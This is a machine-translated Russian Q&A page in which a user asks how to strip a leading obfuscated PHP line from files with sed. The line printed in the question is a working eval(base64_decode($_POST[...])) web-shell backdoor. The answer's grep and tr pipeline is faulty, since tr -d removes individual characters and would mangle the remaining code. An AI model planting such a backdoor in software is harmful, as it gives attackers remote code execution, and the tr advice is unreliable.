2015-09-21 5 views
-3

Я пытаюсь использовать скрипт Bash для чтения содержимого из файла. Файл содержит следующие данные:Удалить подстроку с помощью sed

<?php                                                                $sF="PCT4BA 
6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf14f8b'])) {eval($s21(${$s20}['nf14f8b']));}?><?php 
......<MORE CODE>.... 
?> 

Моя цель состоит в том, чтобы получить «больше кода» командой оболочки «SED». Но у меня нет успеха. Не могли бы вы мне помочь? Заранее спасибо!

Приветствия, Борис

+4

Не могли бы вы сделать ваш вопрос понятным? –

+1

Попытка разобрать PHP с помощью sed - это не очень хорошая идея. –

ответ

0

Мое предложение было бы пропустить СЕПГ и просто использовать Grep. Если я понимаю, это правильно, ваш вход выглядит примерно так:

PHPFileInput:

<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf14f8b'])) {eval($s21(${$s20}['nf14f8b']));}?> 

<?php ...<MORE CODE>... ?> 

Если ваш вход напоминает это, вы можете просто использовать Grep -v, чтобы захватить все, что не соответствует «некоторые строки», однако он работает только на основе. Если ваш php фрагментирован на нескольких строках, вам понадобится строка для удаления этих строк с помощью grep. Пример:

Из вышеприведенного ввода PHP:

$ cat PHPFileInput | grep -v "PCT4BA6ODSE_" | tr -d "<?php?" | tr -d "?>" 

который будет возвращать

...MORE CODE... 

Я выбрал PCT4BA6ODSE_, потому что это выглядит довольно уникальным, но его до вас, чтобы выбрать строки, которые будут работать на вы.

Примечание: вы можете направить grep -v в другой grep -v.

Смежные вопросы